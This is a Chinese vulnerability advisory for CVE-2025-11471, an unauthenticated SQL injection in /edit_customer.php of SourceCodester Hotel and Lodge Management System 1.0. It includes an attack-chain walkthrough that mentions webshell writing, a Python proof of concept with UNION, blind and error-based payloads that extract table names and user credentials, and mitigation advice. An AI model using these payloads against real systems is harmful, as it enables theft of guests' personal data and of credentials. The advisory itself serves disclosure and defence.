IPBUF安全漏洞报告
English
CVE-2025-11471 CVSS 7.3 高危

CVE-2025-11471:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11471
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11471高危漏洞远程利用无需认证edit_customer.phpWeb应用漏洞

漏洞概述

CVE-2025-11471是SourceCodester酒店和旅店管理系统(Hotel and Lodge Management System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月8日被公开披露,CVSS 3.1评分为7.3分,属于高危级别。漏洞位于系统的/edit_customer.php文件中,具体涉及对参数ID的操控。攻击者可以通过远程方式利用此漏洞,无需任何身份认证或用户交互即可发起攻击。

该漏洞的利用方式已经公开,意味着任何具备基本攻击能力的恶意用户都可以利用此漏洞对目标系统造成损害。攻击成功后,攻击者可以读取、修改甚至删除数据库中的敏感信息,包括客户个人信息、预订记录、财务数据等。由于酒店管理系统通常存储大量的个人身份信息(PII)和支付相关数据,此类漏洞可能导致严重的隐私泄露和数据安全问题。

根据CVSS向量分析,该漏洞对机密性、完整性和可用性均产生低级别影响,但由于无需认证即可远程利用,且PoC已经公开,其实际威胁程度较高。建议相关组织尽快进行安全评估和修复。

技术细节

该漏洞是经典的SQL注入漏洞,存在于SourceCodester酒店和旅店管理系统的/edit_customer.php文件中。漏洞的根本原因在于该文件在处理用户提交的ID参数时,未对该参数进行充分的输入验证和过滤,直接将用户输入拼接到SQL查询语句中执行。

从技术角度看,攻击者可以通过构造恶意的SQL语句作为ID参数的值,绕过应用程序的正常逻辑。当/edit_customer.php接收到包含恶意SQL片段的ID参数时,后端数据库引擎会将其作为SQL代码的一部分执行,从而导致SQL注入。

由于该漏洞的攻击向量为网络(AV:N)、攻击复杂度低(AC:L)、无需权限(PR:N)且无需用户交互(UI:N),攻击者可以通过简单的HTTP请求远程利用此漏洞。典型的利用方式包括使用UNION SELECT语句提取数据库中的敏感数据、使用布尔盲注或时间盲注技术逐步推断数据库内容,或者通过堆叠查询执行INSERT/UPDATE/DELETE语句修改或删除数据。

攻击者还可以利用此漏洞进行权限提升尝试,例如读取管理员凭据、获取数据库管理员权限,甚至通过数据库特性(如MySQL的LOAD_FILE()、INTO OUTFILE等)执行文件系统操作,进一步扩大攻击影响范围。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎或Shodan等工具识别运行SourceCodester Hotel and Lodge Management System 1.0的目标系统,确定/edit_customer.php文件的存在。
STEP 2
步骤2:漏洞探测
攻击者向/edit_customer.php发送带有恶意SQL片段的ID参数,通过观察响应差异(如页面内容变化、响应时间延迟、错误信息等)确认SQL注入漏洞的存在。
STEP 3
步骤3:注入载荷构造
攻击者根据数据库类型(通常为MySQL)构造相应的SQL注入payload,如UNION注入、布尔盲注、时间盲注或报错注入payload。
STEP 4
步骤4:数据提取
利用SQL注入漏洞执行恶意查询,从数据库中提取敏感信息,包括管理员凭据、客户个人信息、支付数据等。
STEP 5
步骤5:权限提升与持久化
攻击者可能利用获取的管理员凭据登录系统后台,或通过SQL注入写入Webshell,实现对系统的持久化控制。
STEP 6
步骤6:数据破坏或窃取
攻击者可以修改、删除数据库中的关键数据(如客户预订记录),或窃取大量敏感数据进行非法交易,造成严重的业务影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11471 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability: SQL Injection in /edit_customer.php via ID parameter # Author: Security Researcher import requests import sys # Target configuration TARGET_URL = "http://target.com/edit_customer.php" VULNERABLE_PARAM = "ID" def exploit_sql_injection(target_url, param_name): """ Exploit SQL injection vulnerability in edit_customer.php The ID parameter is vulnerable to SQL injection """ # Basic SQL injection payload to verify vulnerability payload = "1' OR '1'='1" # Union-based SQL injection to extract database version union_payload = "1' UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10-- -" # Time-based blind SQL injection payload time_based_payload = "1' AND SLEEP(5)-- -" # Boolean-based blind SQL injection payload boolean_payload = "1' AND 1=1-- -" # Error-based SQL injection payload error_payload = "1' AND extractvalue(1,concat(0x7e,version()))-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Testing SQL injection on {target_url}") # Test with basic payload data = {param_name: payload} try: response = requests.get(target_url, params=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Response received (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None return None def extract_data(target_url, param_name): """ Extract sensitive data using UNION-based SQL injection """ # Extract table names tables_payload = "1' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -" # Extract user credentials creds_payload = "1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10 FROM users-- -" data = {param_name: tables_payload} headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(target_url, params=data, headers=headers, timeout=10) return response.text except Exception as e: print(f"[-] Error extracting data: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL result = exploit_sql_injection(target, VULNERABLE_PARAM) if result: print("[+] Vulnerability confirmed!") else: print("[-] Could not confirm vulnerability")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,拦截常见的SQL注入payload;2)修改应用程序代码,对/edit_customer.php文件中ID参数进行严格的整数类型验证和过滤;3)限制/edit_customer.php文件的访问权限,仅允许授权用户访问;4)监控数据库异常查询,及时发现和阻断可疑活动;5)对数据库中的敏感信息进行加密存储,降低数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表